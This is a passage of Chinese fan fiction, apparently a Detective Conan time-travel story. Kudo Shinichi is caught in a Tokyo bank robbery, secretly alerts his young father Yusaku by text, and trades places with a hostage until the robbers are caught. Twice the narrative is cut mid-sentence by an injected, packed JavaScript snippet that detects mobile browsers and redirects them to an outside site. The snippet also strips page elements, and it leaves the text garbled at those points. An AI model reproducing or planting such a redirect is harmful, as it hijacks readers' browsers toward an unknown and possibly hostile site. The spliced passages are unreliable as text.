“抱歉啊,”工藤新一露出笑容,不好意思地看着他们,“我没事了,让你们担心了。” 诸伏高明仍然抓着他的手:“新一,你需不需要……” “不用,过两天就好了。”工藤新一对自己的激烈反应也有些奇怪,结合昨晚的噩梦,隐约有了猜测,“真的没事的,而且,我也已经渐渐走出来了。不用看医生。” 最终,工藤新一还是被诸伏夫妇以“观察”的名义按在家里静养了一天。 白天,窗纱被微风吹得轻轻鼓起,蝉鸣像细密的雨点落进院子。少年被“软禁”在客厅沙发,怀里抱着遥控器和半杯橙汁——咖啡暂时是禁止的——他时不时抬头确认钟表——秒针走得比往常慢,却也比噩梦里的火光温柔许多。 夜里,噩梦果然再次来临,但只剩模糊的轮廓,醒来时连冷汗都未出。工藤新一揉揉眼睛,对守在门口的诸伏加奈笑。 诸伏加奈替他掖好被角,第二天一早便宣布“继续关禁闭”。结果整整二十四小时,少年连眼皮都没再乱跳一次。 于是,日子迅速滑进盛夏的购物狂欢。 诸伏加奈本着自家儿子不玩白不玩的理念,左手一件水手服,右手一套小西装,把儿子们当真人换装游戏。诸伏景光被塞进毛茸茸的恐龙连体睡衣,原地转圈;高明被迫戴上金丝边平光镜,耳尖通红。新一站在试衣镜前,领口缀着奶咖色蝴蝶结,镜里镜外都是“洋娃娃”本人。 东京行程也随之敲定。他们打算去东京待上一个月,等到快开学再回来,所以要带的东西不少,直到诸伏高明之前那个夏令营都正式结束了,他们才准备启程。 “新一要带着滑板吗?景光要带足球?”诸伏加奈看着抱着滑板的工藤新一和旁边抱着足球的诸伏景光。 工藤新一和诸伏景光一起小鸡啄米:“嗯嗯!” 工藤新一用指节轻轻敲了敲滑板背面,心里的小算盘噼啪作响。这次去东京可不是单纯游玩——没有“交通工具”,效率会大打折扣。只是……他抬眼瞄了瞄窗外渐暗的天色,默默嘀咕:现在的东京,应该不会再被交通科拦下来做“未成年人超速教育”了吧? 脑海里倏地浮出宫本由美叉着腰、对少年侦探团念念叨叨的模样——“红灯停、绿灯行,滑板也归交通法规管哦——” 由美警官的声音干嘛记得那么清晰啊……工藤新一嘴角一抽,忍不住露出一个既服气又无奈的半月眼。 ……再说,论起违章,明明还是那些“靠谱的大人们”更理直气壮些吧? 8. 柳暗 从长野到东京市区的高速像一条被烈日晒得发亮的钢索,把群山和钢铁森林串在一起。车窗外的景色一路从苍翠变成灰白,再被阳光镀上金光。三个小时后,傍晚的夕阳正好悬在杯户酒店顶楼的玻璃幕墙上,晃得人睁不开眼。 放好行李后,他们的第一站潦草地定在了东都铁塔。 工藤新一已经不怎么掩饰自己对东京的熟悉程度了,一路上除了偶尔的故乡情结外一直兴致缺缺——特别是东都铁塔。 “好漂亮啊!”诸伏景光则是第一次登上这儿,被诸伏英拓抱着,用望远镜四处张望着东京的夜景。 诸伏高明也站在落地窗边:“火树银花晚自开,流光溢彩扮高台*。东京的夜景,名不虚传。” 工藤新一斜眼瞧他——高明哥真是对古文好执着啊——又疑惑地看着外面的景色。 他都在这儿经历过好几次枪战、炸弹了,看到此处,大脑自动浮现出赤井秀一的狙击镜、琴酒的直升机旋翼、还有那次差点把塔尖炸成烟花的水银汞柱□□。工藤新一对东都铁塔——尤其是晚上的东都铁塔——实在没什么风花雪月的好印象,只有满脑子实用主义。谁都不会对让自己挨了一顿枪林弹雨、炸弹惊魂的地方抱有浪漫的想法吧? 总之,根本就欣赏不来。 第二天开始,他们就开始了漫无目的的游逛。除了有些十几年后被拆除的地方还能让大侦探感兴趣瞧瞧,其他地方他大多都觉得无聊——或者说,都曾经或未来成为过案发现场。 水门桥下的水泛着铁锈色,桥墩上贴着几年后才会被雨水泡烂的寻猫启事;杯户美术馆前,工藤新一看着一块空地,想到了不久后会在此修建的抽象派雕塑;米花中央公园的喷泉刚修好,他绕着池边走了一圈,确认未来某具尸体尚未浮在这里;图书馆里,他看着人来人往的电梯间,总忍不住往轿厢的天花板看去。 “啊——好累。”傍晚,诸伏加奈瘫在长椅里,把地图盖在脸上,“妈妈申请明天休息一天。” “附议。”工藤新一仰头灌下最后一口冰可乐。 日头东升西落,又是一天悄然滑过。工藤新一在书店发现了新名任太郎出版的推理小说,本着复习经典、争做老粉的心思买了一本,熬了整夜没睡阅读完毕。午后的阳光被酒店纱帘筛成柔软的淡金色,斜斜地铺在工藤新一那张乱糟糟的床上。他迷蒙地睁眼,手表上的指针已经转到了下午一点。 “欸,新一醒了?”诸伏加奈和丈夫刚好走过他们的房间,看见工藤新一难得孩子气地蒙蒙地坐在床上,“饿不饿?都已经快到晚餐时间了,起来去楼上的自助餐厅吃点东西?” 工藤新一揉了揉满脑袋乱发,有点不好意思:“我睡了这么久啊……叔叔阿姨还没吃饭吗?” “没有呢,”诸伏英拓回答,“正要去吃。新一一起来吗?” “啊,当然。我马上就收拾好!”工藤新一翻身下床,拿出了高中那会儿、早上快迟到的架势,飞速地洗漱完毕。他本来打算随便穿点休闲衣物就算,斟酌片刻,还是把那些小道具都揣在了身上。 还是有备无患吧——毕竟如今,在这座熟悉又危险的城市里,可没有服部的摩托、没有降谷先生的RX-7,更没有赤井先生的狙击枪随时待命。 “对了,加奈阿姨,景光和高明哥哥去哪儿了?”工藤新一有点疑惑地问。 “啊,他们啊,景光说要去公园玩,高明就陪他去了。刚刚还打电话来说是随便找了家拉面店吃了晚饭,还要再玩一会,据说是交到了一个新朋友。”诸伏加奈笑容满面,“景光玩得超开心呢——好像在玩踢足球,新一一会儿去找他们吗?” “啊,那我一会儿就去找他们。”工藤新一说,然后随着诸伏夫妇的脚步进入餐厅。 “新一喜欢足球吗?我看你前几天颠球颠得很熟练。”诸伏英拓问。 “当然喜欢。”一提到足球,小少年眼里都亮着光。 “景光一直踢得不太好呢,新一一会儿可以去气气他。好了,吃饭吧,勤拿少取。” “嗯!” 杯户酒店的自助餐饭一如既往地美味,工藤新一饿狠了,吃得比往常多很多。饭后,他拍着自己好像鼓了一圈的肚子,瘪起嘴。 啊,看来一时半会是踢不得足球了。 诸伏加奈看他自己拍肚子拍得生无可恋的,忍不住笑了:“新一变成圆滚滚的小足球咯。” “——哪有嘛。” “不如这样吧,你也消消食,”诸伏英拓也笑着,“跟我们一起去旁边那家银行取些现金出来怎么样?” 工藤新一点点头。 杯户银行就在酒店斜对面,步行不过五分钟。温热的阳光普照大地,把人行道照得暖融融的。 这家银行已经十分先进地换上了感应玻璃门,那门无声滑开,冷白的灯光映着大理石地面,如同一波结了霜的湖。大厅里回荡着轻缓的钢琴曲,空气里混着新钞的油墨味和中央空调淡淡的氟利昂味道。 两大一小并排走进银行大门,工藤新一本来低头回味着昨晚新名任太郎小说里的推理情节,以至于当那一缕极淡、却异常熟悉的香水味擦过鼻尖时,大脑先于意识拉响了警报。 他猛地扭头。 “新一?”诸伏加奈疑惑地看他。 工藤新一慢慢收回目光,跟着诸伏加奈走进银行大厅。但他的神情依然严肃,余光仍然留意着周围的环境。 临近打烊,柜台只剩两个窗口亮着灯。等候区的沙发空了大半,一盏低垂的吊灯把光切成安静的菱形格子。工藤新一坐下,神色慢慢放松下来,坐在沙发里回想着刚刚那个女人的样子。 虽然戴了帽子和墨镜,但是帽檐下发丝的颜色和长度以及肤色、体型,步态……分明就指向了那个人。 可是她或者他们,现在来日本做什么?这个时间段…… 念头尚未收拢,一声巨响骤然撕破大厅的钢琴曲—— “砰!” 卷帘门以蛮横的速度坠地,锁舌咬合的金属声像巨兽阖上獠牙。尖叫、哭喊、脚步杂乱,所有声音在瞬间炸成一锅滚烫的铁水。 四个黑色头套,四把黑洞洞的枪。 工藤新一弹起身,几乎在同一秒横跨半步,把诸伏夫妇挡在自己单薄的肩线之后。 四名劫匪把前来银行办理业务的顾客都赶到角落里蹲下,收了每个人的手机后留两个人看守着,剩下的两个人则指着银行经理给他们打包钱票。 高瘦的劫匪把步枪往柜台上一拍,金属与大理石碰撞出清脆的裂响,像一把刀划开了本就脆弱的静默。枪管在灯下泛着冷硬的幽蓝,微微晃动,映出经理惨白的脸。 “劝你识相点,”他压低嗓音,每个字都像从齿缝里挤出的冰碴,“不然——” 尾音拖得极长,却不用补完。银行经理的喉结上下滚动,额角渗出豆大的汗珠,顺着鼻梁滑到鼻尖,悬而未落。他双手抖得几乎捏不住钞票,崭新的万元纸钞在他指间发出“哗啦啦”的颤声,他机械地把钱一沓一沓塞进黑色旅行袋,每塞一沓,袋子就沉一分,他的肩膀也跟着塌一寸。 剩下的两人一左一右站在顾客们旁边,枪托抵在腰际,头套下的眼睛像两盏幽暗的探照灯,缓慢扫过每个人的头顶。蹲在最外侧的老妇人抱着手提包,低低的啜泣声被她自己死死捂在掌心,只剩肩膀一抖一抖。 工藤新一蹲在人群里,假装害怕地揪着诸伏英拓的外衣,实则目光不断扫视着那四个劫匪。 四个劫匪,其中有一个体型较胖。看他们行动的流程,应该至少有一个人擅长策划方案。按分工看,老大应该是那个穿着黑色牛仔布料外套的高个子。 不过……二十二年前的东京、临下班的银行、四人组、有周密计划——他几乎要苦笑起来:来度个假都能赶上“历史现场”,简直像被时光踹了一脚。 不过要是这样的话,倒也方便了。 身旁一位白发老者抖得厉害,拐杖“哒哒”地敲着大理石。工藤新一轻轻伸手,扶住他的手腕,顺势把身体又往角落里缩了半尺——那里灯光最暗,监控拍不到、劫匪也看不清。 他动作极慢,像一条无声滑行的蛇。右手探进口袋,指尖触到冰凉的金属边缘。他慢慢挪到诸伏英拓身后的角落里,小心地掏出那部二十二年后的红色手机。他早在长野的时候就重新买了一张电话卡替换了手机里不能用的“未来号码”。佐佐木警官送的白色翻盖机早被劫匪收走,可他们没料到,这小孩子身上居然还有第二部手机。 诸伏英拓的背脊微微一动,似乎察觉到了什么。工藤新一用极轻的气音“嘘”了一声——像吹灭一根火柴。男人僵了僵,终究没回头,只是不着痕迹地展开手臂,替他挡出更隐蔽的角度。 这部手机是他还当“江户川柯南”时“工藤新一”的那部,为了隐蔽额外请阿笠博士做了静音处理,而且二十年后的触屏手机,也不会有按键出声这种容易被发现的情况。 但工藤新一没办法直接报警,现在的日本,报警只能打电话,先不论警方接线员的声音会不会被听到,现在这种情况,为了不打草惊蛇,他根本没办法亲口说出所处位置、抢匪情况。 于是他转而点开短信界面,输入了他小时候熟知的一串数字,打了劫匪数量、人质情况、武器情况,顺便把他认出来的那四个劫匪的姓名也打上去,落款则填写了银行的名字。 点击发送。 莹莹的屏幕上,收信人那栏清楚地写着四个大字——工藤优作。 信号条闪了两格,短信化作微不可见的电波,穿过卷帘门的缝隙,飞向夜色——夜色中,工藤优作辞别剧组员工正在往家走。他的新书就要改编为剧本拍摄,为此,这几日他一直与几位编剧相约改稿。 这是他第一部被改编为剧本的小说,他事业的新阶段,容不得半点马虎。 工藤优作在日暮的街道上朝着自己的住所走去。他心里还卡着一句台词——那句台词像鱼刺,卡在角色的喉咙里,也卡在他的。他低头走路,皮鞋跟敲击人行道,节奏和脑海里未完的剧情重叠,像一种无声的排练。 手机在口袋里震了一下,把他从思绪中拽离。 私人电话来信? 他把公私分得很开,私人电话只有亲近的人才知道号码。他点开短信,却看见了一个陌生的号码给他发来消息,他对这个号码毫无印象,对方却清晰地写出他的名字。 而且这封短信的内容…… “To工藤优作: 四人,□□*2,马卡洛夫*2,三十人质,西北二看守。暗影计划师叶才三,其余三人与叶异心,龟田照吉、蟹江是久、鲸井定雄。速报警。 by东京杯户银行” 工藤优作的脚步在斑马线前停住,红灯的数字一秒一秒往下掉,映在他反光的镜片上,像倒计时。他抬手扶了下镜框,指腹在“暗影计划师”四个字上轻轻摩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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由此看来,他们的目标应该只是劫财,手上的枪械只为击毁监控和恐吓人质。为了不横生枝节,叶才三的计划里不会有伤害人质这一项。再作弊一下,结合二十年后归案的鲸井的供词,他们犯案时也确实没动过伤害人质的想法。当年那件案子里之所以有一位女职员中枪身亡,则是因为那三个人与叶才三有一定矛盾,在情绪激动的情况下枪走火了…… 工藤新一从衣兜里掏出从不离身的追踪眼镜悄悄戴上,借着镜片和人群的遮挡扫视着那四把枪。果不其然,枪的保险都是栓好的,只除了看守人质的鲸井定雄——他手上的手枪并没有上好保险。 那就从他下手了。工藤新一垂手打开手表上的瞄准镜,刚要寻时机给这人来上一针、让劫匪们尽快离开银行、自投罗网——— “有警察!”站在窗边的龟田突然高呼,“警察!” 除了叶才三外的三个劫匪都慌了神——他们毕竟不是什么反社会神经病,正作案时遇上警察当然六神无主。脾气最暴躁也最狠厉的鲸井倏地举起手枪对着人质、尤其是对着银行职员们,大声喊:“哪个不长眼的报了警!信不信老子把你们全崩了!啊?!” 工藤新一蹲在人群最里侧,眉心狠狠一跳。他看见鲸井的食指已经压进扳机护圈——第二关节发白,那是随时会扣到底的力度。 不妙。情绪一旦失控,流弹比蓄意瞄准更危险。 银行外的警察当然是工藤优作找来的,但被龟田照吉发现完全是意外——街对面报刊亭前,一名便衣掏零钱时带出了警徽皮夹的一角。铜质盾牌在夕阳里闪了一下,龟田照吉的眼睛就锁死了那抹反光。 眼见场面越发骚动,诸伏英拓和加奈几乎同时伸手——一只按在少年单薄的肩头,一只护住他的后脑,把人往自己身后藏。动作快得像本能,又像慢动作回放。 工藤新一被两具温热的身体挡住了视线。他能闻到英拓西装领口淡淡的雪松气息,也能感觉到加奈腕上那条丝巾的流苏正轻轻扫过自己的耳廓。 他苦笑了一下,幅度小得几乎看不清,随即几不可见地摇了摇头。 诸伏英拓刚才就发现了新一摆弄那块小显示器(触屏手机)的动作,心中几乎确定警察是自家孩子报的;同样,就挨在他们身边的诸伏加奈也看见了工藤新一打开手表的动作。她知道工藤新一头脑过人、能力出众,身上也有些奇奇怪怪的防身道具,可那能怎么样?难道要他们放心地被年幼的儿子护在身后吗? “砰!” 枪声像一把钝斧劈进每个人的耳膜,回声在穹顶下乱撞。蟹江是久的枪口还冒着淡青色的硝烟,子弹钻进承重墙,混凝土碎屑四溅,人群被这一声枪声吓到,几阵憋声的抽泣传来,几乎每个人都害怕地紧闭双眼。 “三号!”叶才三厉声喊道。若非头套遮挡,恐怕所有人都看得出他满脸的后怕和焦急——这一枪不仅打穿了墙壁,也打穿了他精心准备的撤离计划。 “三号”就是蟹江是久的代号,被暗影计划师喝了一声后,他撇撇嘴角,大拇指悻悻地拨回保险,可枪管仍横在人质头顶,像一把不肯归鞘的刀。 然而,另一侧的鲸井定雄对叶才三不满已久,不顾叶才三暗示的低调速离,他猛地往前跨出两步,马卡洛夫的击锤“咔哒”一声再次张开,黑洞洞的枪口在人质之间来回移动:“谁报的警!不出来你们就一个都别活!” 蠢货。一瞬间,工藤新一和叶才三的心声重合了。 9. 花明 叶才三背起装满钞票的背包,招呼同伙们撤离———警察已经开始埋伏了,再不走就危险了。可似乎冥冥中总有什么存在不肯遂他的意。 “是她!一定是她!” 人质中忽然传来一声尖利的尖叫,说话人是一个银行职员。在长达七分钟的恐惧和几声枪声带来的生命的威胁下,终究还是有人抗不住压力、熬不过懦弱,把与自己同为受害者的人推了出去。 灯火通明的银行大厅,弥漫着丝丝寒意。 那职员脸上涕泗横流,无比狼狈,却歇斯底里地指向一位还算冷静淡定的女职员,尖声喊着:“她是警察的女儿!一定是她报的警!先生——先生们———她爸是刑警!我还听见她说她爸今天要求接她……一定是她!求求你们……我什么都没做!不是我!……对不起,对不起鲛崎君,我不想死,我不想死,你是警察的女儿,你———” “闭嘴!”鲸井定雄把这个已经快精神错乱的职员掴到一边,一把揪起那位“刑警的女儿”小姐,拿手枪指向她的太阳穴。 而被掌掴到地上的那个职员仍小声而急促地念着“我不想死”。 被劫持的鲛崎美海用失望至极的眼神看着同事,即使被抢匪用枪指着,也仍然称得上一声镇定。她没有开口辩解、没有向匪徒求饶,就只是沉默着,任由劫匪叫骂威胁。哪怕浑身颤抖,也仍然坚持把自己放在这个危险的位置上。 她在心里念着:我父亲是樱花见证过的刑警,我是警察的后代。仿佛这句话能给她勇气、给她牺牲自己的信念。 叶才三又催促他:“四号!放开她!快走!” 鲸井充耳不闻,反而挟着鲛崎美海往后门楼梯口拖,手臂勒在她颈前,像一条铁链。 “警察的女儿,活招牌。”他狞笑,声音黏腻,“万一撞见条子——先崩了她,再谈条件!” 美海的鞋跟在大理石地面刮出细碎的声响,像一串来不及说出口的求救。叶才三咬紧后槽牙,背包的肩带深深勒进锁骨——时间、计划、退路,全被这一声出卖撕得粉碎。 “不是这位姐姐报的警哦。” 一个少年的声音忽然从人群中传出。大厅里剩下的所有声音像被这一声童音拧到最小,只剩中央空调低低的嗡鸣。工藤新一从人质堆里站起来的动作轻得像掀开一页纸,却把每一道目光都拽到自己身上。 少年穿着浅灰牛仔外套,里面是再普通不过的运动套装。他双手插在兜里,肩膀放松,仿佛只是课间去便利店买盒牛奶。镜片后的蓝色眼睛澄澈得过分,倒映出劫匪们紧绷的轮廓,仿佛暗含某种笃定了的自信。 诸伏加奈下意识伸手,指尖刚碰到他的袖口就被轻轻拍了拍。那只手很小,却带着不容拒绝的力道——安抚,也是告别。随即少年稍一用力,把夫妇二人护在身后的臂弯彻底拨开,像拨开一丛温柔的灌木丛。 “是我报的。” 他把尾音拖得天真,甚至带点炫耀,好像只是抢了遥控器宣布自己换台成功。 鲛崎美海的睫毛猛地一颤,泪水悬而未落,却更加担心男孩的处境:“小弟弟!” “所以叔叔可以放开那位姐姐吗?”工藤新一就当什么也没看见、没听见,他歪了歪头,语气软糯得像在讨一颗糖,“而且,姐姐现在好像很害怕的样子,你们想要逃跑的话,这位姐姐也许会拖慢你们的脚步,并不适合作人质哦。” 叶才三一怔。 鲸井定雄原本也是色厉内荏,闻言大喊:“小兔崽子!” “——所以换我来作人质怎么样?你们现在应该只能启动备用计划撤退了吧?”工藤新一歪头,语调里带着一丝调侃。 他顿了顿,镜片后的蓝眼睛微微眯起,像两颗藏了锋芒的宝石:“既然是备用计划,应该难度很大,那位姐姐很难跟得上吧?虽然我只是个小学生,可体育成绩一直很好,而且就算会拖累叔叔们,你们也方便拎着我走吧?” 鲸井已经完全慌神了,脸涨得通红,额角青筋暴起。他咬牙切齿,可工藤新一却像是完全没看见他的愤怒,继续加上最后一把火:“对警方而言,还是小孩子作人质更令他们投鼠忌器吧?” “新一!”诸伏夫妇几乎想冲出来,却见工藤新一摆了摆手,悄悄敲了敲衣兜。 劫匪们比他们更着急,鲸井定雄在摇摆不定十几秒后,把鲛崎美海往人群里一推,捞猫一样捞起工藤新一,快速地上了安全通道里的楼梯,沿着备用路线逃离银行。叶才三殿后,把收上来的手机和大门钥匙一起拿走,切断了银行总闸,才跟上那三人走了。 银行大厅顿时昏暗无比。鲛崎美海在确认匪徒们已经走远后,和急疯了的诸伏夫妇一起,用灭火器一下一下击打着窗户,试图离开银行、寻求警方帮助。 玻璃在撞击下逐渐发出清脆的碎裂声,碎片四溅。 ——几分钟前。 杯户银行外的空气像被拉紧的弦,随时会崩断。 佐藤正义把白色的马自达RX-7停在侧面阴影里,车身漆色暗得像一潭深水,恰好嵌在两盏路灯照不到的死角。透过前挡玻璃,银行正面的楼体一览无遗,大理石墙面在夕阳里泛着钝钝的血色。 “工藤君,你所说的劫匪情报我们已经派人去查证了。”佐藤警官压低声音,目光仍钉在银行门口,“冒昧问一句,你是怎么知道银行里的情况的?” 工藤优作用指腹摩挲着手机,语气平稳得像深夜的海面,却故意有所隐瞒:“有个认识的人给我发短信,说杯户银行出事了。我恰好路过,卷帘门还没完全闭合,觉得今天关门比平常早,就多留了个心眼,在百叶窗附近站了一会儿……偶然瞥见了里面的情况。” 接着,他侧头,目光越过车顶,落在稀疏的便衣身上:“说起来,佐藤警官,今天一课的警官们似乎有些少?” 佐藤正义点点头,眉心的川字纹更深了:“鸟矢町那边临时出了状况,一部分警力去盯那个恶意JK肇事犯。目暮今天就是去了那边。” 银行四周,搜查一课的警员们披着路人的外衣,或佯装打电话,或低头翻杂志。他们的影子被夕阳拉得老长,却始终没离开过那栋建筑半步。更远处的十字路口,两辆看似抛锚的货车横在路中央,悄悄掐断了车流。风掠过,带来一丝橡胶摩擦地面的焦糊味。 车厢里,空调送出的冷气混着皮革味,令人牙关发紧。工藤优作的食指无声地敲着大腿,一下、两下……像在给心跳打拍子。忽然,他的瞳孔猛地收紧—— 右数最后一扇窗的百叶帘轻轻一晃,像有人在里面用指尖拨动。 紧接着一声闷响像被厚棉被捂住的鼓点一样从银行深处滚出来,震得车窗玻璃微微发颤。 犯人开枪了? “报告佐藤警部补。”警用对讲机猝然响起,沙哑的男声割破寂静,“银行内枪声确认,人质情况不详,请指示。” 佐藤正义的拇指在通话键上悬了半秒,像权衡一道无解的方程。 “按兵不动。”他最终低声道,嗓音像被砂纸磨过,“问问武装部的人什么时候到!” 工藤优作没作声,只把目光投向那条越来越暗的卷帘门缝。 劫匪恐怕是发现便衣了——这个念头像冰锥,顺着脊椎一路滑下。 “嗡——嗡——” “嗡——嗡——” 震动声在死寂的车厢里显得格外刺耳。 工藤优作掏出手机,来电显示是个未知号码。 ……是那个神秘号码。 佐藤正义探头过来,工藤优作点好己方静音和免提,打开录音,接通了电话。 “……是她!她是警察的女儿!一定是她——” “……对不……我不想死……鲛崎……对不……” 衣料摩擦的沙沙声混在其中,像有人把手机仓促塞进裤袋,布料与话筒反复刮蹭,听得人耳膜发痒。 佐藤正义眉心一跳,粗粝的指节无意识敲着方向盘。鲛崎——一课确实有这个人,眼下正在鸟矢盯肇事杀人魔。难道…… 他喉结滚动,尚未开口,工藤优作已先一步低声否定:“劫匪在远处咆哮,手机却在近处收声。被挟持的不是鲛崎小姐本人。” 他的声音轻得像在数秒,却带着不容置疑的笃定。 “……新一。”一个上了年纪的男声贴上来,沙哑里裹着沉甸甸的担心。 工藤优作指尖微颤,瞳孔短暂失焦——那名字像一枚落进深井的石子,在空荡荡的记忆里激起一圈自己都不曾知晓的涟漪。 沙沙声骤然放大,仿佛有人猛地转身,衣角掀起一阵风。 “不是这位姐姐报的警哦。” 少年音色清冽如划开玻璃的刀尖,一句之后,连空气都亮了一瞬。 “——是我报的。” “是个孩子?”佐藤正义惊诧无比,他怎么也想不到,这通电话竟来自一个小男孩。但他也没多纠结,继续听着电话,以防错过信息。 这个声音,好熟悉。 工藤优作一边思考着犯人下一步行动、逃跑路线,一边自己也没留意地握紧了拳。他的大脑像双核的处理器:一条线程飞速计算犯人的下一步——备用计划、撤退路线、时间差;另一条线程却被那少年嗓音牵着,坠入一片模糊的、尚未窥见的画面。 “……你们想要逃跑的话,这位姐姐也许会拖慢你们的脚步,并不适合做人质哦。” 少年的声音透过免提,像一枚被水打磨光滑的鹅卵石,轻轻敲在焦躁的鼓面上。 工藤优作眉梢微挑:以退为进,先劝匪徒放人,再自荐替补——高明。他忍不住在心底暗赞一句“漂亮”。 “——所以换我来作人质怎么样?你们现在应该只能启动备用计划撤退了吧?既然是备用计划,应该难度很大,那位姐姐很难跟得上吧?虽然我只是个小学生,可体育成绩一直很好,而且就算会拖累叔叔们,你们也方便拎着我走吧?” 少年继续,尾音带着恰到好处的犹豫,像把钝刀慢慢推进匪徒的焦虑缝隙。 “对警方而言,还是小孩子作人质更令他们投鼠忌器吧?” “新一!” 工藤优作与电话那端几乎同时脱口,声音叠在一起,震得车厢微微发颤。 “工藤君?”佐藤正义用口型问,眉梢写着愕然。 工藤优作抿唇,幅度极小地摇头,把那一瞬的失神压回胸腔,抬手做了个“准备行动”的利落手势。 电话那头忽然嘈杂——先是“刺啦”一声长响,像话筒被人粗暴地塞进衣兜;紧接着,空旷的脚步声与回声交织,少年佯装惊喜的童声被拖得长长的,像风筝线,故意把警方的耳朵引向高空:“哇,叔叔们的逃生通道原来在天上吗?好酷哦。” “闭嘴小鬼,给老子老实点儿!”匪徒暴躁的吼声炸开,带着铁锈般的血腥味。 天上? “——哇,叔叔们的逃生通道原来在天上吗?好酷哦。”工藤新一被鲸井定雄用手臂挟着,一路沿安全通道跑到银行二楼。 “闭嘴小鬼,”鲸井定雄用枪戳他的胸膛,“给老子老实点!” 叶才三一言不发,眼神复杂地看了男孩一眼,轻叹了口气。 他们按照备用计划的路线从银行二楼的一处杂物间跃到旁边便利店低矮的天台上,猫着腰,又从便利店天台溜进了再旁边的小餐馆后厨。工藤新一挑眉:这叶才三的计划确有可取之处。 他看着四个人摘下头套,露出年轻的、令他眼熟的面容,又从角落里翻出早备好的厨师衣套上,把长枪拆卸掉装进背包,随后准备光明正大地走出后厨的偏门。 “这样警官先生们就认不出你们的身份了对吧!”工藤新一在手机背上敲了两下,示意父亲犯人们马上就要出现了。 叶才三的后备计划还算得上聪明,利用了警方心理盲区,大胆又有谋略。只是可惜,他工藤新一目前还没见过能赢过他父子联手的罪犯。 鲸井定雄拽着他的手臂,恶狠狠地用枪威胁他:“你最好乖乖配合,臭小子,否则——” “我知道的。”工藤新一乖巧又胆怯地笑,目光越过窗棂,仿佛已经看见二十岁的工藤优作站在门外。 天色已近黄昏,饭店后门“吱呀”一声被推开,四个身着白色厨师服的男人鱼贯而出,油污与油烟味黏在他们的袖口。走在最后的鲸井定雄揪着一个小男孩的衣领,孩子像只被拎起的小猫,脚尖几乎擦地,却仍努力把背脊挺得笔直。 离那辆旧面包车只剩五步。 叶才三忽然停住脚步,目光看向工藤新一。 “不许动!” “举起手来!” 灌木丛“哗啦”一声炸开,埋伏已久的警员如离弦之箭蹿出。龟田照吉和蟹江是久还未来得及回头,就被双双摁倒在地,脸贴着粗糙的沥青,发出闷哼。 鲸井定雄一把将工藤新一提至胸前,手臂勒得孩子锁骨发疼。汗水顺着他的鬓角滑下,滴在新一耳侧,带着酸涩的烟味。叶才三却似早知结局,缓缓举起双手,目光掠过一圈黑洞洞的枪口,最后落在男孩脸上,声音沙哑:“四号,放开那孩子吧。” “是啊,”他们准备逃跑用的车子里缓缓走出两个男人,说话的那个戴着副和工藤新一很像的眼镜,“你已经无路可逃了。” 另一个男人举着左轮手枪:“放开那个孩子!” 工藤新一眼睛里忽地闪过一丝热意,像夜航船远远看见灯塔。 是他老爸……还有那位警官,长得和美和子警官好像啊。 “不许靠近!否则我一枪毙了这小鬼!”鲸井定雄用手枪顶着工藤新一的额头,满脸都是汗珠。 “蠢货。”男孩儿露出一抹带着悲悯和自信的笑,“你已经没有谈判的资本了。” “什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137886|180325||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ——” 微不可见的一声,工藤新一发射了麻醉针,正扎在鲸井持枪的右手上。男人壮硕的身躯轰然倒地,被佐藤正义迅速铐起来,而随鲸井的昏睡而摔下来的新一,则倒在了下意识上前的工藤优作怀里。 小小的身体撞进怀里,带着温热与淡淡的洗衣粉香,像一束刚晒过太阳的棉花。未来享誉世界的小说家忽然有些手足无措。 工藤新一被年轻的父亲圈在怀里,鼻尖撞进对方带着淡淡油墨气息的西装布料里,耳廓瞬间烧得通红。他条件反射地挣了挣,像被烫到似的往后退半步,鞋底在沙砾上蹭出细小的声响。 ——冷静,工藤新一,你已经十九岁了!可眼前这个工藤优作才二十一岁,甚至连“丈夫”两个字都还没写进人生履历。 他在心里一连串地敲警钟,然而额头在退开前还是不受控地蹭了工藤优作一下,像幼猫用鼻尖确认温度,随即才僵硬地抽身。 空气忽然漏了一拍。 工藤优作臂弯一空,指尖仍残留着少年肩胛骨伶仃的触感——像握住一片初春的新叶,脆弱却蓬勃。他下意识想再伸手确认,却只抓到夜风。 两人之间隔出半步距离,却像忽然被拉出一道看不见的年轮裂缝。 工藤新一垂在身侧的手攥成拳。 救世主也好,平成年代的福尔摩斯也罢,此刻的他只是一个被时间抛错的十九岁少年。陌生的街灯、陌生的警笛、陌生的二十岁父亲——所有坐标都在旋转,而他站在漩涡中心,无人知晓他的过去,也无人知晓他的未来。 他不是神,他也会累。他也曾——或终将——是某个人放在心尖上疼的孩子。 而血缘的引力,比任何物理定律都蛮横。 哪怕时空错位,哪怕记忆还未发生,那股从骨骼深处涌出的熟稔与贪恋,依旧在胸腔里鼓噪。 工藤新一抬眼,撞进工藤优作略带仓惶的目光——像看见一面太早出现的镜子,哪怕萍水相逢,也似曾相识。 也许出于某种默契,直到叶才三将上警车,这对错位的父子也没再说过一句话。叶才三——矶贝临走时,要求和工藤新一说句话。 工藤新一欣然接受,上前半步,额前的碎发被夕照镀上一层柔金,像给他戴上了一顶细薄的冠冕。他微仰起头,目光澄澈得让铁栏后的暗影无处潜形。 黄昏的暖光照耀在男孩额上,他黑色的额发似乎被镀上了点点金光。矶贝看着这个让人瞩目的孩子,仿佛身上的罪恶都在他清澈的目光下无处遁形,却只让他甘心忏悔,而非恼羞成怒。 “我可以知道你的名字吗?孩子?”矶贝轻声问。 周围几个警员下意识想帮工藤新一拒绝,以防犯人有意寻仇。工藤新一却安抚地笑,摇摇头。 工藤新一摘下鼻梁上的黑框眼镜,指尖在镜框上停了一瞬,像抹去一段旧尘。 